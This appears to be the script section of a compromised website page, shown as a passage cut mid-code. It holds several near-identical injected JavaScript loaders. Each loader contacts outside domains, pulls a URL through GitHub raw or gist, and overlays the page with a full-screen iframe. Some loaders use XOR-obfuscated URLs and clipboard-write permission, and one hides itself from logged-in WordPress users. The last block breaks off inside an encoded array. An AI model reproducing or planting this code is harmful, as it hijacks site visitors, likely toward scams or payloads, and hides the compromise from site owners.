      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script><script>(function() {
  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [{"template":(function(){var _0x1230=[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39];return String.fromCharCode.apply(String,_0x1230.map(function(c){return c^0x5A;}));})(),"useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [{"template":(function(){var _0x1230=[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39];return String.fromCharCode.apply(String,_0x1230.map(function(c){return c^0x5A;}));})(),"useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/dakiloifhsnuukka.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/dakiloifhsnuukka.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function(){var __s=(function(){var _0xdbb3=[114,60,47,52,57,46,51,53,52,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,111,111,110,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,108,104,118,111,99,118,110,99,118,111,107,118,111,110,118,111,105,118,111,107,118,108,106,118,111,106,118,110,107,118,111,104,118,110,109,118,110,109,118,110,99,118,110,99,118,111,99,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,111,107,118,111,104,118,111,110,118,111,107,118,111,104,118,108,105,118,107,107,108,118,110,104,118,111,106,118,110,104,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,111,111,110,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,33,120,46,63,55,42,54,59,46,63,120,96,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,107,104,105,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,110,106,118,111,99,118,110,111,118,107,107,108,118,108,107,118,111,107,118,110,108,118,111,106,118,110,109,118,111,108,118,110,109,118,110,107,118,108,105,118,110,106,118,111,109,118,111,105,118,111,104,118,110,108,118,108,105,118,111,104,118,110,108,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,105,105,118,111,107,118,108,104,118,105,99,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,107,104,105,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,118,120,47,41,63,28,63,46,57,50,120,96,46,40,47,63,39,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,59,62,41,42,63,57,46,5,45,42,47,5,110,5,5,120,115,97,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,122,40,47,52,96,122,60,59,54,41,63,122,39,97,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,115,122,40,63,46,47,40,52,97,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,122,103,122,46,40,47,63,97,87,80,122,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,122,103,122,120,59,62,41,42,63,57,46,5,51,60,40,5,120,122,113,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,122,38,38,122,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,117,112,112,122,138,196,139,216,138,232,138,239,139,216,122,139,216,139,218,138,234,139,219,139,216,138,234,122,184,218,206,122,138,228,138,238,138,231,138,234,122,139,219,139,216,139,218,138,228,138,224,138,234,122,15,8,22,122,112,117,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,9,51,52,61,54,63,15,40,54,114,46,63,34,46,115,122,33,87,80,122,122,122,122,44,59,40,122,41,122,103,122,114,46,63,34,46,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,41,116,51,52,62,63,34,21,60,114,120,6,52,120,115,122,100,103,122,106,122,38,38,122,41,116,51,52,62,63,34,21,60,114,120,6,40,120,115,122,100,103,122,106,115,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,122,122,40,63,46,47,40,52,122,117,4,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,102,100,120,125,7,113,126,117,51,116,46,63,41,46,114,41,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,50,53,45,19,52,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,123,117,4,50,46,46,42,41,101,96,6,117,6,117,117,51,116,46,63,41,46,114,47,40,54,115,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,47,40,54,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,97,46,53,42,96,106,97,54,63,60,46,96,106,97,45,51,62,46,50,96,107,106,106,44,45,97,50,63,51,61,50,46,96,107,106,106,44,50,97,56,53,40,62,63,40,96,52,53,52,63,97,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,97,55,59,40,61,51,52,96,106,97,42,59,62,62,51,52,61,96,106,97,120,97,87,80,122,122,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,53,52,23,41,61,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,63,44,63,52,46,116,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,63,44,63,52,46,116,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,44,59,40,122,63,54,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,63,54,122,124,124,122,63,54,116,42,59,40,63,52,46,20,53,62,63,115,122,63,54,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,63,54,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,45,51,52,62,53,45,116,40,63,55,53,44,63,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,53,52,23,41,61,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,